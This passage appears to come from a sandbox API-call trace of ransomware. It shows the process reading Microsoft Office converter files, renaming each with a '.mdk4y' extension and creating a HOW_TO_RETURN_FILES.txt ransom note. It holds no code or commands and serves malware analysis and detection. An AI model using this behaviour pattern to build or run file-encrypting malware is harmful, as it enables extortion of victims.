dwFlags=0x0, lpWideCharStr="OLTASKR.FAE", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OLTASKR.FAE", lpUsedDefaultChar=0x37dec0) returned 11 [0208.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828392300000) returned 1 [0208.693] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x29b0, lpOverlapped=0x0) returned 1 [0208.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828394600000) returned 1 [0208.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828394600000) returned 1 [0208.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.mdk4y")) returned 1 [0208.718] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.718] AreFileApisANSI () returned 1 [0208.718] GetACP () returned 0x4e4 [0208.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORG97R.SAM", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ORG97R.SAME", lpUsedDefaultChar=0x37dec0) returned 10 [0208.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828394900000) returned 1 [0208.719] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x31a0, lpOverlapped=0x0) returned 1 [0208.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828396200000) returned 1 [0208.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828396200000) returned 1 [0208.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.mdk4y")) returned 1 [0208.735] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.735] AreFileApisANSI () returned 1 [0208.735] GetACP () returned 0x4e4 [0208.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PABR.SAM", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PABR.SAMAM", lpUsedDefaultChar=0x37dec0) returned 8 [0208.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828396500000) returned 1 [0208.735] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2b88, lpOverlapped=0x0) returned 1 [0208.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828397700000) returned 1 [0208.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828397700000) returned 1 [0208.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.mdk4y")) returned 1 [0208.749] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0208.749] AreFileApisANSI () returned 1 [0208.749] GetACP () returned 0x4e4 [0208.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TRANSMRR.DLL", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TRANSMRR.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0208.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0208.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828398000000) returned 1 [0208.751] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3590, lpOverlapped=0x0) returned 1 [0208.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828398200000) returned 1 [0208.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828398200000) returned 1 [0208.752] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll.mdk4y")) returned 1 [0208.753] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0208.753] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0208.754] AreFileApisANSI () returned 1 [0208.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0208.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0208.754] GetFileType (hFile=0xd8) returned 0x1 [0208.755] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.755] AreFileApisANSI () returned 1 [0208.755] GetACP () returned 0x4e4 [0208.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACT3.SAM", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACT3.SAMr", lpUsedDefaultChar=0x37df4c) returned 8 [0208.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828398700000) returned 1 [0208.757] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16178, lpOverlapped=0x0) returned 1 [0208.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828399500000) returned 1 [0208.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828399500000) returned 1 [0208.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.mdk4y")) returned 1 [0208.767] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.767] AreFileApisANSI () returned 1 [0208.767] GetACP () returned 0x4e4 [0208.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELIMDOS.FAE", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DELIMDOS.FAEg", lpUsedDefaultChar=0x37df4c) returned 12 [0208.767] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828399800000) returned 1 [0208.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7990, lpOverlapped=0x0) returned 1 [0208.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828400000000) returned 1 [0208.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828400000000) returned 1 [0208.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.mdk4y")) returned 1 [0208.772] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.772] AreFileApisANSI () returned 1 [0208.772] GetACP () returned 0x4e4 [0208.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELIMWIN.FAE", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DELIMWIN.FAE", lpUsedDefaultChar=0x37df4c) returned 12 [0208.772] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828400300000) returned 1 [0208.773] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79a0, lpOverlapped=0x0) returned 1 [0208.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828402900000) returned 1 [0208.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828402900000) returned 1 [0208.800] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.mdk4y")) returned 1 [0208.801] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.801] AreFileApisANSI () returned 1 [0208.801] GetACP () returned 0x4e4 [0208.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DESKSAM.SAM", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DESKSAM.SAME", lpUsedDefaultChar=0x37df4c) returned 11 [0208.801] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403300000) returned 1 [0208.803] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b80, lpOverlapped=0x0) returned 1 [0208.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403400000) returned 1 [0208.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403400000) returned 1 [0208.804] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.mdk4y")) returned 1 [0208.806] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.806] AreFileApisANSI () returned 1 [0208.806] GetACP () returned 0x4e4 [0208.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ODBC.SAM", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ODBC.SAMSAM", lpUsedDefaultChar=0x37df4c) returned 8 [0208.806] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403700000) returned 1 [0208.807] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf978, lpOverlapped=0x0) returned 1 [0208.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403900000) returned 1 [0208.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828403900000) returned 1 [0208.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.mdk4y")) returned 1 [0208.811] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.811] AreFileApisANSI () returned 1 [0208.811] GetACP () returned 0x4e4 [0208.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OL.SAM", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OL.SAMAM", lpUsedDefaultChar=0x37df4c) returned 6 [0208.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828404200000) returned 1 [0208.812] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7180, lpOverlapped=0x0) returned 1 [0208.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828407300000) returned 1 [0208.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828407300000) returned 1 [0208.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.mdk4y")) returned 1 [0208.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.845] AreFileApisANSI () returned 1 [0208.845] GetACP () returned 0x4e4 [0208.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLADD.FAE", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLADD.FAEAM", lpUsedDefaultChar=0x37df4c) returned 9 [0208.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828407800000) returned 1 [0208.848] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x207a0, lpOverlapped=0x0) returned 1 [0208.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828409200000) returned 1 [0208.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828409200000) returned 1 [0208.864] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.mdk4y")) returned 1 [0208.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.865] AreFileApisANSI () returned 1 [0208.865] GetACP () returned 0x4e4 [0208.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLAPPT.FAE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLAPPT.FAEM", lpUsedDefaultChar=0x37df4c) returned 10 [0208.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828409600000) returned 1 [0208.866] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1dda8, lpOverlapped=0x0) returned 1 [0208.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828410400000) returned 1 [0208.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828410400000) returned 1 [0208.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.mdk4y")) returned 1 [0208.877] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.877] AreFileApisANSI () returned 1 [0208.877] GetACP () returned 0x4e4 [0208.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLJRNL.FAE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLJRNL.FAE", lpUsedDefaultChar=0x37df4c) returned 10 [0208.877] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828410900000) returned 1 [0208.879] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x117a0, lpOverlapped=0x0) returned 1 [0208.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828411000000) returned 1 [0208.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828411000000) returned 1 [0208.881] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.mdk4y")) returned 1 [0208.882] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0208.882] AreFileApisANSI () returned 1 [0208.882] GetACP () returned 0x4e4 [0208.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLMAIL.FAE", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OLMAIL.FAE", lpUsedDefaultChar=0x37df4c) returned 10 [0208.882] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0208.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828411400000) returned 1 [0208.884] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf798, lpOverlapped=0x0) returned 1 [0208.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828412500000) returned 1 [0208.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828412500000) returned 1 [0208.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), lpNewFileName="C:\\Program Files\\Microsoft 